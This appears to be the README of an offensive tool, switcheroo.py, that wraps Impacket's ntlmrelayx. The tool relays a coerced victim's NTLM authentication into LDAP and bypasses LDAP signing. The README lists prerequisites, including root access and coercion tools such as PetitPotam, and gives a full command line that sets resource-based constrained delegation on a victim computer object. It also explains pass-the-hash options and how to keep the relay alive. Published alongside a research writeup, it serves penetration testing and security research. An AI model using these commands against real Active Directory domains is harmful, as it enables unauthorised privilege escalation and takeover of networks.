Relay a coerced victim's NTLM authentication into an LDAP operation executed with the victim's permissions, bypassing LDAP signing. Thin wrapper around Impacket's ntlmrelayx.py (it starts ntlmrelayx for you).

Full writeup of the technique and root cause: Signed, Sealed, and Relayed, NTLM-style: Bypassing LDAP Signing Through Reauthentication

• Python 3, run as root (SMB listener on TCP/445).
• A pinned Impacket exposing LDAP signing + security-context APIs (the PyPI 0.13.1 package is not sufficient). Point PYTHONPATH at it and pass its ntlmrelayx.py.
• A coercion tool to drive the victim to your listener (Coercer / PetitPotam).
• The victim must be coerced to authenticate over SMB (the only supported source).

sudo PYTHONPATH=/path/to/pinned-impacket python3 switcheroo.py \
    'DOMAIN/attacker[:password]@DC.fqdn' \
    -dc-ip <DC_IP> \
    -base-dn 'DC=example,DC=com' \
    -listen-ip <ATTACKER_IP> \
    -victim 'DOMAIN/VICTIM$' \
    -modify-dn 'CN=VICTIM,CN=Computers,DC=example,DC=com' \
    -rbcd-sid '<ATTACKER_COMPUTER_SID>' \
    -ntlmrelayx /path/to/pinned-impacket/examples/ntlmrelayx.py

Then coerce the victim toward -listen-ip from another terminal.

Credentials follow Impacket's [domain/]username[:password]@host. Omit the password to be prompted, or use -hashes LMHASH:NTHASH / -no-pass.

Keep stdin open (ntlmrelayx exits on EOF):

tail -f /dev/null | sudo PYTHONPATH=... python3 switcheroo.py ... &

The tool prints the DC's Bind/Modify result codes and does an independent signed read-back to confirm the write (the SMB/coercion side may still print FAILED).
